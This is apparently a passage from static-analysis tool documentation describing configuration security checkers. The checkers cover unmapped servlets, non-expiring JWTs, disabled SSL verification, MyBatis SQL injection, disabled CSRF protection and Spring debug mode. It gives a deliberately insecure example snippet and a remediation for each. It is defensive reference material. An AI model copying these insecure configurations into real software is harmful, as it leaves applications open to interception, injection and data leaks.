The `CONFIG.JAVAAEE_MISSING_SERVLET_MAPPING` checker flags cases where a deployment descriptor XML configuration file contains a servlet entry without a corresponding servlet mapping. Such unmapped servlet will be mapped implicitly. In the case of implicit mapping, any servlet in the classpath or even inside a `.jar` could be invoked directly, introducing a security risk.

The `CONFIG.JAVAAEE_MISSING_SERVLET_MAPPING` checker is disabled by default. It is only enabled in Audit Mode.

4.68.2. Examples

This section provides one or more `CONFIG.JAVAAEE_MISSING_SERVLET_MAPPING` examples.

In the following example, a `CONFIG.JAVAAEE_MISSING_SERVLET_MAPPING` defect is displayed for the servlet entry named `points` without a corresponding servlet mapping.

```
<?xml version="1.0" encoding="UTF-8"?>
<web-app version="3.1" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://
www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/
javaee/web-app_3_1.xsd">
  <servlet>
    <servlet-name>milk</servlet-name> <!-- no defect, has a corresponding servlet
mapping-->
    <servlet-class>com.javapapers.Milk</servlet-class>
  </servlet>

  <servlet>
    <servlet-name>points</servlet-name> <!-- defect here -->
    <servlet-class>com.javapapers.Points</servlet-class>
  </servlet>

  <servlet-mapping>
    <servlet-name>milk</servlet-name>
    <url-pattern>/drink/*</url-pattern>
  </servlet-mapping>
</web-app>
```

4.68.3. Defect Anatomy

This section describes defect information for the `CONFIG.JAVAAEE_MISSING_SERVLET_MAPPING` checker.

Impact: Audit

Description : The corresponding servlet mapping is not set explicitly for the servlet entry.

Local effect: If the servlet mapping is not done explicitly, implicit mapping will be applied. The implicit mapping allows on demand execution of JSP pages and introduces a security risk in the web application. In that case, another servlet in the classpath or even inside a JAR file could be invoked directly.

Remediation: Add an explicit servlet mapping for the servlet entry.

4.69. CONFIG.JSONWEBTOKEN_NON_EXPIRING_TOKEN

Security Checker

4.69.1. Overview

Supported Languages: JavaScript, TypeScript

`CONFIG.JSONWEBTOKEN_NON_EXPIRING_TOKEN` finds cases where Java Web Tokens (JWTs) are created without setting an expiration time, which makes them valid forever. The non-expiring tokens remain valid until they are manually reset, which increases the risk of exploitation over time. If attackers gain access to a valid token, they can compromise the application and access sensitive information.

When creating a JWT always set the `expiresIn` option explicitly to a valid time, such as "1h", "2h", "30m", depending on the business need.



Note

The `CONFIG.JSONWEBTOKEN_NON_EXPIRING_TOKEN` checker only verifies if the `expiresIn` option is present. It does not validate the value assigned to it. If the value is too large, for example, 48 hours, the application is still vulnerable to session forgery attacks, as the token will be valid for quite a while after the attacker is able to steal it.

Disabled by default: `CONFIG.JSONWEBTOKEN_NON_EXPIRING_TOKEN` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

Web application security checker enablement: To enable

`CONFIG.JSONWEBTOKEN_NON_EXPIRING_TOKEN` along with other Web application checkers, use the `--webapp-security` option.

4.69.2. Examples

This section provides one or more `CONFIG.JSONWEBTOKEN_NON_EXPIRING_TOKEN` examples.

The following code sample creates a JWT for the user without setting the expiration time. A `CONFIG.JSONWEBTOKEN_NON_EXPIRING_TOKEN` defect is displayed for the call to `res.cookie`.

```
var jwt = require('jsonwebtoken');

app.get('/', function(req, res){
  //...
  res.cookie('token', jwt.sign({visits: 1}, 'mySecret', {
    algorithm: 'HS256', // use HMAC SHA256
    notBefore: "2h"
  }));
});
```

4.70. CONFIG.MISSING_CUSTOM_ERROR_PAGE

Security Checker

4.70.1. Overview

Supported Languages: C#, Visual Basic

`CONFIG.MISSING_CUSTOM_ERROR_PAGE` finds cases where `Web.Config` files turn off custom error messages. In the `Web.Config` file, under `<system.web>`, on the `<customErrors>` node there shall NOT be a mode attribute set to "Off", whose default value is "RemoteOnly". The third valid mode value is "On". Among those three values, only "Off" is insecure.

Setting mode to "Off" disables custom errors page. When that happens, ASP.NET provides a detailed error message to clients by default, which leaks server information to attackers. It is best practice to set mode to "On" or "RemoteOnly".

Disabled by default: `CONFIG.MISSING_CUSTOM_ERROR_PAGE` is disabled by default. To enable it, you can use the `--enable` option to the **cov-analyze** command.

Web application security checker enablement: To enable

`CONFIG.MISSING_CUSTOM_ERROR_PAGE` along with other Web application checkers, use the `--webapp-security` option.

4.70.2. Defect Anatomy

`CONFIG.MISSING_CUSTOM_ERROR_PAGE` defects have a single event that identifies the security misconfiguration..

4.70.3. Examples

This section provides one or more `CONFIG.MISSING_CUSTOM_ERROR_PAGE` examples.

A defect is reported when `customErrors` is set to `Off` :

```
<configuration>
  <system.web>
    <customErrors mode="Off" />           // CONFIG.MISSING_CUSTOM_ERROR_PAGE defect
    ...
  </system.web>
</configuration>

<configuration>
  <system.web>                           // no defect
  ...
  </system.web>
</configuration>

<configuration>
  <system.web>
    <customErrors mode="On" />          // no defect
    ...
  </system.web>
</configuration>
```

```
<configuration>
  <system.web>
    <customErrors mode="RemoteOnly" />    // no defect
    ...
  </system.web>
</configuration>
```

4.71. CONFIG.MISSING_GLOBAL_EXCEPTION_HANDLER

Security Checker

4.71.1. Overview

Supported Languages: Java, JavaScript, TypeScript

The `CONFIG.MISSING_GLOBAL_EXCEPTION_HANDLER` checker finds cases where the global exception handler is either not defined or not appropriate for the application. When a global exception handler is not set, the application might output a stack trace to the user when an exception is triggered. This usually causes only a bad user experience, but it can also leak internal information about the application (class names, workflows, and so on) that might provide useful clues about how to attack the application. It is best to write uncaught exceptions to at least one of the loggers.

Prerequisite: This checker runs on and can generate defects on non-source code files such as configurations. To run this checker, you must first emit the configuration by invoking `cov-emit-java --war` (which is the same as `--webapp-archive`) or one of the following: `--findwars`, `--findwars-unpacked`, `--findears`, or `--findears-unpacked`.

Disabled by default: `CONFIG.MISSING_GLOBAL_EXCEPTION_HANDLER` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

Web application security checker enablement: To enable `CONFIG.MISSING_GLOBAL_EXCEPTION_HANDLER` along with other Web application checkers, use the `--webapp-security` option.

4.71.2. Examples

This section provides one or more `CONFIG.MISSING_GLOBAL_EXCEPTION_HANDLER` examples.

4.71.2.1. Java

For Java, the checker recognizes Struts 1, Struts 2, Java EE, and JSPs, and reports a defect when insufficient global exception handlers are defined in the application, or not defined at all.

In the following example, an application uses Struts 1 with JSP files, and it is not sufficient to define a global handler as follows:

```
...
```

```
<global-exceptions>
  <exception key="error.global.exception"
            type="java.lang.Exception"
            path="/WEB-INF/pages/error.jsp" />
</global-exceptions>
...
```

As the following example shows, a more resilient configuration will also define an exception handler in the deployment descriptor for exceptions triggered in the JSP code.

```
...
<error-page>
  <exception-type>java.lang.Throwable</exception-type>
  <location>/WEB-INF/pages/error.jsp</location>
</error-page>
...
```

4.71.2.2. JavaScript

In the following example, a `CONFIG.MISSING_GLOBAL_EXCEPTION_HANDLER` defect is displayed for the instance of the `winston` library, created with `createLogger()`, that is used for logging, but is not configured to handle uncaught exceptions.

```
const winston = require('winston');

const logger = winston.createLogger({
  transports: [new winston.transports.Console()],
  format: winston.format.combine(
    winston.format.colorize({ all: true }),
    winston.format.simple()
  )
});
```

4.71.3. Events

This section describes one or more events produced by the `CONFIG.MISSING_GLOBAL_EXCEPTION_HANDLER` checker.

- `event` - (main event) The location of the issue.
- `remediation` - Advice on fixing the issue.

4.72. CONFIG.MISSING_JSF2_SECURITY_CONSTRAINT

Security Checker

4.72.1. Overview

Supported Languages: Java

`CONFIG.MISSING_JSF2_SECURITY_CONSTRAINT` finds cases where no security constraint is defined to prevent any user from accessing the JSF 2 facelets directly. Without the security constraint, any user will be able to directly access the XHTML files (Facelets), which can lead to information leaks.

Prerequisite: This checker runs on and can generate defects on non-source code files such as configurations. To run this checker, you must first emit the configuration by invoking `cov-emit-java --war` (which is the same as `--webapp-archive`) or one of the following: `--findwars`, `--findwars-unpacked`, `--findears`, or `--findears-unpacked`.

Disabled by default: `CONFIG.MISSING_JSF2_SECURITY_CONSTRAINT` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

Web application security checker enablement: To enable `CONFIG.MISSING_JSF2_SECURITY_CONSTRAINT` along with other Web application checkers, use the `--webapp-security` option.

4.72.2. Examples

This section provides one or more `CONFIG.MISSING_JSF2_SECURITY_CONSTRAINT` examples.

Assuming the facelets are under `/faces/`, any user will be able to access them directly using the following, for example:

```
http://<application context>/faces/example.xhtml
```

4.72.3. Events

This section describes one or more events produced by the `CONFIG.MISSING_JSF2_SECURITY_CONSTRAINT` checker.

- `event` - (main event) The location of the issue.
- `remediation` - Advice on fixing the issue.

4.73. CONFIG.MYBATIS_MAPPER_SQLI

Security Checker

4.73.1. Overview

Supported Languages: Java

`CONFIG.MYBATIS_MAPPER_SQLI` detects occurrences of unescaped string substitution in iBatis/MyBatis mapper XML files using the `${ }` syntax. Unescaped string substitution can allow a malicious user to inject an unmodified string into an SQL query and then perform an SQL injection attack.

It is best practice to use the `#{ }` syntax to create a query with arguments, from which MyBatis will create a prepared statement.

Disabled by default: `CONFIG.MYBATIS_MAPPER_SQLI` is disabled by default. To enable it, you can use the `--enable` option to the **cov-analyze** command.

Security audit enablement: To enable `CONFIG.MYBATIS_MAPPER_SQLI` along with other security audit features, use the `--enable-audit-mode` option. Enabling audit mode has other effects on checkers. For more information, see the description of the **cov-analyze** command in the *Coverity Command Reference*.

4.73.2. Defect Anatomy

`CONFIG.MYBATIS_MAPPER_SQLI` defects have a single event that identifies the security misconfiguration.

4.73.3. Examples

This section provides one or more `CONFIG.MYBATIS_MAPPER_SQLI` examples.

The following example uses unescaped string substitution in a MyBatis Mapper XML file and produces a defect report:

```
<mapper namespace="com.synopsys.coverity">
    <select xml:id="getEmployee" parameterType="int"
        resultType="com.synopsys.Employee">
        SELECT * FROM EMPLOYEE WHERE ID = ${id}
    </select>
</mapper>
```

The following example is similar but uses the safer `#{ }` syntax. The checker does not report a defect here:

```
<mapper namespace="com.synopsys.coverity">
    <select xml:id="getEmployee" parameterType="int"
        resultType="com.synopsys.Employee">
        SELECT * FROM EMPLOYEE WHERE ID = #{id}
    </select>
</mapper>
```

4.74. CONFIG.MYSQL_SSL_VERIFY_DISABLED

Security Checker

4.74.1. Overview

Supported Languages: JavaScript, TypeScript

`CONFIG.MYSQL_SSL_VERIFY_DISABLED` finds cases where a MySQL connection is configured to not verify the validity of the SSL certificate and the connection accepts invalid certificates; this can allow man-in-the-middle attacks and leakage of sensitive data.

The checker does not flag cases if the `rejectUnauthorized` flag is omitted, because the default value is secure.



Note

If SSL is configured on an internal network connection between the application server and the database, using a self-signed certificate is a common practice, since the risk of forging a certificate on an internal network is acceptably low. Thus, the verification of the SSL certificate can be turned off in the MySQL module configuration intentionally. In these cases, the checker would report the issue, even though it is a false positive from a business perspective.

`CONFIG.MYSQL_SSL_VERIFY_DISABLED` is disabled by default. To enable it you can use the `--enable` or `--enable-audit-mode` flag to the **cov-analyze** command.

4.74.2. Examples

This section provides one or more `CONFIG.MYSQL_SSL_VERIFY_DISABLED` examples.

In the following example, `CONFIG.MYSQL_SSL_VERIFY_DISABLED` would find a defect for the statement that initializes `connection`.

```
var mysql = require('mysql');

var connection = mysql.createConnection({
  host : 'localhost',
  ssl : {
    rejectUnauthorized: false
  }
});
```

4.75. CONFIG.REQUEST_STRICTSSL_DISABLED

Security Checker

4.75.1. Overview

Supported Languages: JavaScript, TypeScript

`CONFIG.REQUEST_STRICTSSL_DISABLED` finds cases where the request module makes calls over an SSL channel and disables the verification of the SSL certificate. In this case, a man-in-the-middle attack is possible when an application loads a resource with a rogue certificate.

The Node module `request` has an option called `strictSSL` that is used to enable or disable checking the validity of the certificate. By default `strictSSL` is set to `true` and the SSL certificates

must be valid. When `strictSSL` is set to `false`, the application can trust a resource with a rogue certificate, making a man-in-the-middle attack possible.

**Note**

There might be cases where disabling the certificate check is acceptable, for example, on internal network connections where self-signed certificates are used.

To protect HTTP requests, ensure that SSL certificates are always validated by setting the `strictSSL` option to `true` or by omitting this property altogether, since the default is secure.

Disabled by default: `CONFIG.REQUEST_STRICTSSL_DISABLED` is disabled by default. To enable it, you can use the `--enable` option to the **cov-analyze** command.

You can also enable this checker by enabling audit mode.

4.75.2. Examples

This section provides one or more `CONFIG.REQUEST_STRICTSSL_DISABLED` examples.

In the following example, a `CONFIG.REQUEST_STRICTSSL_DISABLED` defect is displayed for the statement that calls the `request` method.

```
var request = require('request');

request('https://example.com/login/login.htm',
  {
    strictSSL: false,
    followRedirect: false,
    removeRefererHeader: true
  }, function (error, response, body) {
    ...
  });
```

4.76. CONFIG.SEQUELIZE_ENABLED_LOGGING

Security Checker

4.76.1. Overview

Supported Languages: JavaScript

`CONFIG.SEQUELIZE_ENABLED_LOGGING` finds cases where a `sequelize` connection is created with logging enabled. In this case, SQL queries would be logged to the console and might leak sensitive data because console outputs are often streamed to log files when the application is deployed.

To correct the defect, turn off logging by setting `logging` to `false`, or use a custom function that filters and masks sensitive data before writing it to a log file.

The Node module `sequelize` has a `logging` field in the `options` argument in the constructor, which defaults to `console.log`. The `CONFIG.SEQUELIZE_ENABLED_LOGGING` checker flags the following instances:

- The `logging` attribute is explicitly set to `true`.
- The `logging` attribute is omitted (and its default value of `true` is used).

The following instances are not flagged:

- The `logging` attribute is set to an anonymous function.
- The `logging` attribute is set to a globally defined function.

That is to say, if `logging` is configured to use an anonymous or global function, the checker does not analyze what the function does.

Disabled by default: `CONFIG.SEQUELIZE_ENABLED_LOGGING` is disabled by default. To enable it, you can use the `--enable` option to the **cov-analyze** command.

Web application security checker enablement: To enable `CONFIG.SEQUELIZE_ENABLED_LOGGING` along with other Web application checkers, use the `--webapp-security` option.

4.76.2. Examples

This section provides one or more `CONFIG.SEQUELIZE_ENABLED_LOGGING` examples.

In the following example, a defect is returned for the statement that sets `logging` to `true`.

```
var Sequelize = require('sequelize');
// ...

var sequelize = new Sequelize(DB_NAME, DB_USERNAME, DB_PASSWORD, {
  host: 'localhost',
  dialect: 'mysql',
  // enabled logging, defaults to console.log
  logging: true
});
```

4.76.3. Events

This section describes one or more events produced by the `CONFIG.SEQUELIZE_ENABLED_LOGGING` checker.

- `MainEvent` - The configuration of the Sequelize instance that contains the insecure logging setting.
- `Remediation` - Presents advice on how to address the defect by properly configuring the Sequelize instance.

4.77. CONFIG.SEQUELIZE_INSECURE_CONNECTION

Security Checker

4.77.1. Overview

Supported Languages: JavaScript, TypeScript

`CONFIG.SEQUELIZE_INSECURE_CONNECTION` finds cases where a Sequelize connection is created without SSL. In such cases, all data for the SQL queries is passed over an insecure channel and can be eavesdropped.



Note

Not every application will need an SSL connection between the database and the application server. If both are deployed on the same physical server, if both are in a secure segment of network, or if the communication happens over an SSL tunnel, there is no need for a secure connection configured through `sequelize`. However, this knowledge is outside of the source code.

Disabled by default: `CONFIG.SEQUELIZE_INSECURE_CONNECTION` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

Web application security checker enablement: To enable `CONFIG.SEQUELIZE_INSECURE_CONNECTION` along with other Web application checkers, use the `--webapp-security` option.

4.77.2. Examples

This section provides one or more `CONFIG.SEQUELIZE_INSECURE_CONNECTION` examples.

In the following example, the defect is displayed for the initialization of the `Sequelize` object.

```
var Sequelize = require('sequelize');

var sequelize = new Sequelize(DB_NAME, DB_USERNAME, DB_PASSWORD, {
  host: 'localhost',
  dialect: 'mysql',
  dialectOptions: { ssl: false },
});
```

4.78. CONFIG.SOCKETIO_MAXHTTPBUFFERSIZE_SET_TOO_LARGE

Security Checker

4.78.1. Overview

Supported Languages: JavaScript, TypeScript

`CONFIG.SOCKETIO_MAXHTTPBUFFERSIZE_SET_TOO_LARGE` finds cases where a `Socket.IO` server is created with a buffer size that is too large. In these cases, a denial of service attack is possible when extremely long messages are sent to the server to poll for additional data.

The `CONFIG.SOCKETIO_MAXHTTPBUFFERSIZE_SET_TOO_LARGE` checker flags situations where the `maxHttpBufferSize` property is set explicitly to a value that is greater than the default (`0x100000000`).

The `CONFIG.SOCKETIO_MAXHTTPBUFFERSIZE_SET_TOO_LARGE` checker does not flag the case where the `maxHttpBufferSize` property is omitted, since the default setting is secure.

 **Note**

This checker displays a defect when a buffer is set larger than a very particular number - `0x10E7`. However, determining what size of the buffer is too large should depend on the server hardware configuration. Therefore, this checker might flag some false positives.

The checker cannot evaluate the value of `options` if they come from an external file, using `require`. The checker will assume that a secure default value is used and will not report an issue, even if the file actually contains an insecure value of `maxHttpBufferSize`, resulting in a false negative.

The checker cannot evaluate the value of `options` if they are the result of a function. The checker will assume that a secure default value is used and will not report an issue, even if the function returns an `options` object with an insecure value of `maxHttpBufferSize`, resulting in a false negative.

Disabled by default: `CONFIG.SOCKETIO_MAXHTTPBUFFERSIZE_SET_TOO_LARGE` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

Web application security checker enablement: To enable `CONFIG.SOCKETIO_MAXHTTPBUFFERSIZE_SET_TOO_LARGE` along with other Web application checkers, use the `--webapp-security` option.

4.78.2. Examples

This section provides one or more `CONFIG.SOCKETIO_MAXHTTPBUFFERSIZE_SET_TOO_LARGE` examples.

In the following example, a `CONFIG.SOCKETIO_MAXHTTPBUFFERSIZE_SET_TOO_LARGE` defect is displayed for the statement that initializes the `Socket.IO` server.

```
var server = require('http').createServer(app);

// Create a Socket.io server
var io = new (require('socket.io'))(server, {
  'origins': 'chat.demo.com:3000',
  maxHttpBufferSize: 0xFFFFFFFF
});
```

4.79. CONFIG.SOCKETIO_ORIGINS_ACCEPT_ALL

Security Checker

4.79.1. Overview

Supported Languages: JavaScript, TypeScript

`CONFIG.SOCKETIO_ORIGINS_ACCEPT_ALL` finds cases where a `socket.io` instance is configured to allow connections from any origin. The checker reports a defect if the `origins` are set to a wildcard or if the `origins` field is omitted in the `options` argument, which leads to using the default wildcard value `*`. It is best to explicitly set `origins` to the set of trusted origins that will connect to the server. You can do this in the constructor or through the `origins()` method.



Note

If the origins are configured both in the constructor and using the `origins()` method(s), the last call will overwrite the previous `origins` values. However, the checker does not perform this type of analysis and will flag every time the `origins` are configured separately. In the following example, the origins are not configured in the constructor, so the server uses the insecure default setting. But then they are configured using the method call. So, overall, the application is secure. However, the checker will still flag the constructor call and report a false positive.

```
var options = {maxHttpBufferSize: 0xFFFFFFFF};
// No origins are configured in the previous declaration, so the default
// applies

var Server = require('socket.io')
var serv = new Server(server, options); // no defect
serv.origins(['chat.demo.com:3000',
             'https://example.com:1234']); // no defect
```

The checker cannot evaluate the value of `options` in the following cases:

- If `options` come from an external file, using `require`. The checker will assume that an insecure default value is used and will report a false positive, in case the file actually contains secure setting for `origins`.
- If `options` are the result of a function. The checker will assume that an insecure default value is used and will report a false positive, in case the function returns an `options` object with a secure setting for `origins`.

Disabled by default: `CONFIG.SOCKETIO_ORIGINS_ACCEPT_ALL` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

Web application security checker enablement: To enable

`CONFIG.SOCKETIO_ORIGINS_ACCEPT_ALL` along with other Web application checkers, use the `--webapp-security` option.

4.79.2. Examples

This section provides one or more `CONFIG.SOCKETIO_ORIGINS_ACCEPT_ALL` examples.

In the following example, the application creates a Socket.IO server that accepts connections from any origin. A `CONFIG.SOCKETIO_ORIGINS_ACCEPT_ALL` defect is displayed for the statement that instantiates the Socket.IO server.

```
var server = require('http').createServer(app);
var io = require('socket.io')
var ioserver = new io(server, {maxHttpBufferSize: 0xFFFFFFFF, origins: '*:*'});
```

4.80. CONFIG.SPRING_BOOT_ADMIN_ACCESS_ENABLED

Security Checker

4.80.1. Overview

Supported Languages: Java

The `CONFIG.SPRING_BOOT_ADMIN_ACCESS_ENABLED` checker finds cases where the admin features are enabled in configuration files of Spring Boot applications.

The `CONFIG.SPRING_BOOT_ADMIN_ACCESS_ENABLED` is disabled by default. It is enabled with `--webapp-security`.

4.80.2. Examples

This section provides one or more `CONFIG.SPRING_BOOT_ADMIN_ACCESS_ENABLED` examples.

In the following example, a `CONFIG.SPRING_BOOT_ADMIN_ACCESS_ENABLED` defect is displayed for setting the `spring.application.admin.enabled` to `true` in a `.properties` file.

```
spring.application.name=JabaKardex
spring.application.admin.enabled=true #defect here
```

4.81. CONFIG.SPRING_BOOT_SENSITIVE_LOGGING

Security Checker

4.81.1. Overview

Supported Languages: Java

The `CONFIG.SPRING_BOOT_SENSITIVE_LOGGING` checker finds cases where a Spring Boot application has been configured to log request cookies or HTTP request details. Note that logging can be

enabled in several different ways. The request cookies and HTTP request details might contain sensitive information and should not be logged.

The `CONFIG.SPRING_BOOT_SENSITIVE_LOGGING` checker is disabled by default. You can enable it using the `--webapp-security` option to the `cov_analyze` command.

4.81.2. Examples

This section provides one or more `CONFIG.SPRING_BOOT_SENSITIVE_LOGGING` examples.

In the following example, a `CONFIG.SPRING_BOOT_SENSITIVE_LOGGING` defect is displayed for the `log-cookies` property set to `true` in the `.properties` file.

```
server.port=8080
server.error.path=/error
server.http2.enabled=false
server.max-http-header-size=8KB

server.jetty.accesslog.time-zone=UTC
server.jetty.accesslog.date-format=yyyy-MM-dd HH:mm:ss Z
server.jetty.accesslog.log-cookies=true # defect here
server.jetty.accesslog.log-latency=false
server.jetty.accesslog.log-server=false
```

4.82. CONFIG.SPRING_BOOT_SSL_DISABLED

Security Checker

4.82.1. Overview

Supported Languages: Java

The `CONFIG.SPRING_BOOT_SSL_DISABLED` checker finds cases when SSL is disabled in configuration files of Spring Boot applications.

The `CONFIG.SPRING_BOOT_SSL_DISABLED` checker is disabled by default. It can be enabled with the `--webapp-security` option.

4.82.2. Examples

This section provides one or more `CONFIG.SPRING_BOOT_SSL_DISABLED` examples.

In the following example, a `CONFIG.SPRING_BOOT_SSL_DISABLED` defect is displayed for setting the `spring.data.cassandra.ssl` to `false` in a `.properties` file.

```
server.port=8082
server.servlet.context-path=/spring-boot-rest

server.compression.enabled=true
```

```
server.compression.min-response-size=512B  
spring.data.cassandra.ssl=false    #defect here
```

4.82.3. Defect Anatomy

This section describes defect information for the `CONFIG.SPRING_BOOT_SSL_DISABLED` checker.

- `spring_boot_ssl_disabled`

Impact: Low

The Spring Boot application is configured to disable SSL. Local effect: Sensitive data is transmitted over an insecure communication channel and can be read and modified by attackers.

Remediation:

- Enable SSL by setting `spring.couchbase.env.ssl.enabled` to `true` or omit it as the default value is `true`.
- Enable SSL by setting `server.ssl.enabled` to `true` or omit it as the default value is `true`.
- Enable SSL by setting `management.server.ssl.enabled` to `true` or omit it as the default value is `true`.
- Explicitly enable SSL by setting `spring.data.cassandra.ssl` to `true`.
- Explicitly enable SSL by setting `spring.data.elasticsearch.client.reactive.use-ssl` to `true`.
- Explicitly enable SSL by setting `spring.redis.ssl` to `true`.
- Explicitly enable SSL by setting `spring.rabbitmq.ssl.enabled` to `true`.
- `spring_boot_certificate_validation_skipped`

Impact: Low

The application skips certificate validation.

Local effect: Skipping certificate verification leads to a rogue certificate not being rejected when its signature cannot be verified by any of the certificate authorities, resulting in an insecure connection and a man-in-the-middle attack.

Remediation:

- Enable the certification validation by setting `management.cloudfoundry.skip-ssl-validation` to `false` or omit it as the default value is `false`.

4.83. CONFIG.SPRING_SECURITY_CSRF_PROTECTION_DISABLED

Security Checker

4.83.1. Overview

Supported Languages: Java

The `CONFIG.SPRING_SECURITY_CSRF_PROTECTION_DISABLED` checker flags cases where the Spring Security cross-site request forgery (CSRF) protection is explicitly disabled. Enabling CSRF protection is recommended for all applications that are not strictly read-only.

The `CONFIG.SPRING_SECURITY_CSRF_PROTECTION_DISABLED` checker is disabled by default. It is enabled with the `--webapp-security` option.

4.83.2. Examples

This section provides one or more `CONFIG.SPRING_SECURITY_CSRF_PROTECTION_DISABLED` examples.

In the following example, a `CONFIG.SPRING_SECURITY_CSRF_PROTECTION_DISABLED` defect is displayed for disabling the Spring Security CSRF protection by calling the `disable()` function on the `csrf` variable of class `CsrfConfigurer`.

```
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import
    org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;

public class SecurityConfigPositive extends WebSecurityConfigurerAdapter {
    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http.csrf(csrf -> csrf.disable()); //defect here
    }
}
```

4.83.3. Defect Anatomy

This section describes defect information for the `CONFIG.SPRING_SECURITY_CSRF_PROTECTION_DISABLED` checker.

Impact: Medium

Description: The Spring Security CSRF protection is disabled.

Local effect : An attacker may trick a client into making an unintentional request to the web server which will be treated as an authentic request. It may result in unintended execution of sensitive functionality or in exposure of data if the CSRF protection is disabled.

Remediation: Enable the Spring Security CSRF protection by omitting the invocation of `disable()`.

Enable the Spring Security CSRF protection by setting the attribute `disabled` in the node `csrf` to `false` or omit it as the default value is `false`.

4.84. CONFIG.SPRING_SECURITY_DEBUG_MODE

Security Checker

4.84.1. Overview

Supported Languages: Java

The `CONFIG.SPRING_SECURITY_DEBUG_MODE` checker finds cases where debug mode for Spring Security is enabled. In debug mode, Spring Security logs extra information on the server, and some of that information could be sensitive and should not be logged. Note that debug mode can be enabled in several different ways.

Prerequisite: This checker runs on and can generate defects on non-source code files such as configurations. To run this checker, you must first emit the configuration by invoking `cov-emit-java --war` (which is the same as `--webapp-archive`) or one of the following: `--findwars`, `--findwars-unpacked`, `--findears`, or `--findears-unpacked`.

Disabled by default: `CONFIG.SPRING_SECURITY_DEBUG_MODE` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

Web application security checker enablement: To enable `CONFIG.SPRING_SECURITY_DEBUG_MODE` along with other Web application checkers, use the `--webapp-security` option.

4.84.2. Examples

This section provides one or more `CONFIG.SPRING_SECURITY_DEBUG_MODE` examples.

The following Spring Security configuration shows the debug flag being set.

```
<beans:beans xmlns="http://www.springframework.org/schema/security"
  xmlns:beans="http://www.springframework.org/schema/beans"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://www.springframework.org/schema/beans
    http://www.springframework.org/schema/beans/spring-beans-3.0.xsd
    http://www.springframework.org/schema/security
    http://www.springframework.org/schema/security/spring-security.xsd">
  <debug /> <!-- // A defect is reported here -->
  <global-method-security pre-post-annotations="enabled" />
  ...
</beans:beans>
```

In the following example, a `CONFIG.SPRING_SECURITY_DEBUG_MODE` defect is displayed where an instance of `DebugFilter()` is added to `filterChainProxy`.

```
package com.springframework.security.tests;

import java.util.ArrayList;
import java.util.List;
```

```

import org.springframework.security.web.SecurityFilterChain;
import org.springframework.security.web.FilterChainProxy;
import org.springframework.security.web.debug.DebugFilter;

public class Test1
{
    public void bad() {
        List<SecurityFilterChain> securityFilterChains = new
        ArrayList<SecurityFilterChain>(10);
        FilterChainProxy filterChainProxy = new
        FilterChainProxy(securityFilterChains);
        Object result = filterChainProxy;
        result = new DebugFilter(filterChainProxy); //defect here
    }
}

```

4.85. CONFIG.SPRING_SECURITY_DEPRECATED_XSS_HEADER

Security Checker

4.85.1. Overview

Supported Languages: Java

The `CONFIG.SPRING_SECURITY_DEPRECATED_XSS_HEADER` checker finds cases where the X-XSS-Protection header is explicitly enabled. The security header `X-XSS-Protection: 1; mode=block` is set to be deprecated soon because this security header is easy to bypass. In essence, X-XSS-Protection should be removed in favor of using a strong Content Security Policy (CSP) that disables the use of inline JavaScript and protects the application from XSS attacks.

The `CONFIG.SPRING_SECURITY_DEPRECATED_XSS_HEADER` checker is disabled by default. It is only enabled in Audit Mode.

4.85.2. Examples

This section provides one or more `CONFIG.SPRING_SECURITY_DEPRECATED_XSS_HEADER` examples.

In the following example, a `CONFIG.SPRING_SECURITY_DEPRECATED_XSS_HEADER` defect is displayed for setting `CONFIG.SPRING_SECURITY_DEPRECATED_XSS_HEADER` function to `true` because the security header X-XSS-Protection is easy to bypass and is set to be deprecated. It is recommended you use a strong Content Security Policy that disables the use of inline JavaScript instead of the X-XSS-Protection header.

```

import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.
    WebSecurityConfigurerAdapter;

    public class XssProtectionCustomConfig extends
    WebSecurityConfigurerAdapter {

```

```

@Override
protected void configure(HttpSecurity http) throws Exception {
    http.headers().defaultsDisabled().xssProtection().xssProtectionEnabled(true); //
    defect here
}
}

```

4.86. CONFIG.SPRING_SECURITY_DISABLE_AUTH_TAGS

Security Checker

4.86.1. Overview

Supported Languages: Java

CONFIG.SPRING_SECURITY_DISABLE_AUTH_TAGS finds cases where the Spring Security configuration explicitly disables the effect of the authorize JSP tag. When the property `spring.security.disableUISecurity` is set, the content of the authorize tags will not be hidden from the users.

Prerequisite: This checker runs on and can generate defects on non-source code files such as configurations. To run this checker, you must first emit the configuration by invoking **cov-emit-java --war** (which is the same as `--webapp-archive`) or one of the following: `--findwars`, `--findwars-unpacked`, `--findears`, or `--findears-unpacked`.

Disabled by default: CONFIG.SPRING_SECURITY_DISABLE_AUTH_TAGS is disabled by default. To enable it, you can use the `--enable` option to the **cov-analyze** command.

Web application security checker enablement: To enable CONFIG.SPRING_SECURITY_DISABLE_AUTH_TAGS along with other Web application checkers, use the `--webapp-security` option.

4.86.2. Examples

This section provides one or more CONFIG.SPRING_SECURITY_DISABLE_AUTH_TAGS examples.

The following configuration set disables Spring UI Security:

```
spring.security.disableUISecurity = true
```

Disabling Spring UI Security allows the content of the following `authorize` JSP tag to be displayed to any user.

```

<%@ taglib prefix="sec" uri="http://www.springframework.org/security/tags" %>
<sec:authorize access="hasRole('supervisor')">
    Should only be visible to supervisors: ${secret_info}

```

```
</sec:authorize>
```

4.86.3. Events

This section describes one or more events produced by the `CONFIG.SPRING_SECURITY_DISABLE_AUTH_TAGS` checker.

- `event` - (main event) The location of the issue.
- `remediation` - Advice on fixing the issue.

4.87. CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID

Security Checkers

4.87.1. Overview

Supported Languages: Java

